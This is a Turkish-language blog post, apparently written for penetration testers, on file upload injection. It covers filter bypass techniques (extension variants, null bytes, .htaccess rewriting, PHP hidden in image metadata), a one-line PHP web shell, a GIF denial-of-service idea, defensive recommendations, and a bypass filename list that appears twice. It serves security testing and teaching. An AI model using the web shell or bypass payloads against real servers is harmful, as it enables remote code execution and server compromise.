June 1, 2026
Web Uygulamalarının Arka Kapısı: File Upload Injection ve Gelişmiş Bypass Teknikleri
Modern web uygulamalarında profil resmi yüklemek, CV paylaşmak veya video göndermek artık standart bir özellik. Ancak bir sızma testi…
bovsec
2 min read
Modern web uygulamalarında profil resmi yüklemek, CV paylaşmak veya video göndermek artık standart bir özellik. Ancak bir sızma testi uzmanı olarak biliyoruz ki, kullanıcıdan dosya kabul edilen her nokta, doğru yapılandırılmadığında tüm sunucunun ele geçirilmesine (RCE) yol açabilecek bir File Upload Injection girişidir.
1. File Upload Injection Nedir?
Bu zafiyet, bir web uygulamasının yüklenen dosyaların tipini, içeriğini veya boyutunu yeterince doğrulamaması sonucu ortaya çıkar. Saldırgan, sunucu tarafında çalışan (PHP, ASPX, JSP gibi) zararlı bir script'i (Web Shell) yükleyerek sistem üzerinde komut çalıştırabilir.
2. Kritik Endpointler: Nereye Bakmalıyız?
Dosya yükleme fonksiyonu her zaman "Upload" butonuyla karşımıza çıkmaz. Şu alanlar her zaman radarınızda olmalı:
- Profil fotoğrafı ve avatar güncellemeleri.
- CV, fatura veya doküman yükleme panelleri.
- E-posta ekleri ve destek talebi (support ticket) kısımları.
- Görsel işleme (Image manipulation) yapan API servisleri.
3. Sömürü Teknikleri ve Filtreleri Aşma (Bypass)
Geliştiriciler genellikle dosya uzantısına veya Content-Type başlığına bakarak basit filtreler koyarlar. İşte bu filtreleri aşmak için kullanabileceğimiz profesyonel teknikler:
- Uzantı Manipülasyonu (Blacklist Bypass): Sunucu
.phpuzantısını engelliyorsa, büyük-küçük harf varyasyonlarını (.PHP,.PhP) veya alternatif uzantıları (.phtml,.php5,.php7) deneyin. - Çift Uzantı ve Null Byte:
dosya.jpg.php(Bazı regex filtreleri sadece.jpgkısmına bakabilir).dosya.php%00.jpg(Null byte kullanımıyla sunucu tarafında dosya.phpolarak kaydedilebilir).- Content-Type Spoofing: Burp Suite kullanarak isteği yakalayın ve
Content-Type: application/x-phpdeğeriniimage/jpegolarak değiştirin. - Gelişmiş .htaccess Sömürüsü: Eğer sunucu Apache ise, bir
.htaccessdosyası yükleyerek.jpgveya.pnguzantılı dosyaların PHP olarak çalıştırılmasını sağlayabilirsiniz. - Görsel İçine Zararlı Kod Enjekte Etme:
exiftoolkullanarak bir görselin yorum satırlarına (metadata) PHP kodu ekleyebilir ve sunucuyu bu dosyayı çalıştırmaya zorlayabilirsiniz.
4. Senaryo: İstemci Taraflı (Client-Side) Filtreyi Atlatma
Bazen uygulamalar sadece tarayıcı üzerinde (JavaScript ile) dosya tipini kontrol eder. Bu en kolay aşılan yöntemdir.
- Analiz: Sayfa kodlarını inceleyerek dosya yüklemesini engelleyen JS fonksiyonunu bulun.
- Müdahale: Burp Suite'i açın, Proxy ayarlarından JS dosyalarını yakalayıp (intercept) filtreleme kodunu silin veya isteği tarayıcıya ulaşmadan manipüle edin.
- Yükleme: Filtre devre dışı kaldığında zararlı script'inizi (Web Shell) başarıyla yükleyin.
5. En Yaygın Payload Örnekleri
- Basit PHP Shell:
<?php system($_GET['cmd']); ?> - Bypass için .htaccess:
AddType application/x-httpd-php .lol(Artık.loluzantılı dosyalar PHP olarak çalışır!). - GIF Frame Flood (DoS): 10¹⁰ frame içeren bir GIF yükleyerek sunucunun kaynaklarını tüketebilirsiniz.
6. Güvenli Dosya Yükleme İçin Tavsiyeler
Raporunuzu yazarken şu savunma mekanizmalarını önermeyi unutmayın:
- Whitelist Kullanın: Sadece iş kritik uzantılara (
.pdf,.jpg) izin verin, zararlıları engellemekle (blacklist) uğraşmayın. - Dosyaları Yeniden Adlandırın: Yüklenen dosyaların ismini sunucu tarafında rastgele karakterlerden (UUID/GUID) oluşturun.
- Webroot Dışında Depolama: Dosyaları web sunucusunun erişebildiği dizinin (webroot) dışında veya tamamen farklı bir dosya sunucusunda saklayın.
- Boyut ve İstek Sınırı: "Zip Bomb" saldırılarına karşı boyut limitleri belirleyin.
— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —
.php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtm, .phtml ,shell.php.abcdde
file.php%20 ,file.php%0a ,file.php%00 ,file.php%0d%0a ,file.php/ ,file.php.\ ,file.php…. ,file.pHp5….
file.png.php ,file.png.pHp5 ,file.php#.png ,file.php%00.png ,file.php\x00.png ,file.php%0a.png
file.php%0d%0a.png ,file.phpJunk123png.php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtm, .phtml ,shell.php.abcdde
file.php%20 ,file.php%0a ,file.php%00 ,file.php%0d%0a ,file.php/ ,file.php.\ ,file.php…. ,file.pHp5….
file.png.php ,file.png.pHp5 ,file.php#.png ,file.php%00.png ,file.php\x00.png ,file.php%0a.png
file.php%0d%0a.png ,file.phpJunk123pngBu rehber, OWASP File Upload Cheat Sheet ve profesyonel sızma testi pratikleri temel alınarak hazırlanmıştır.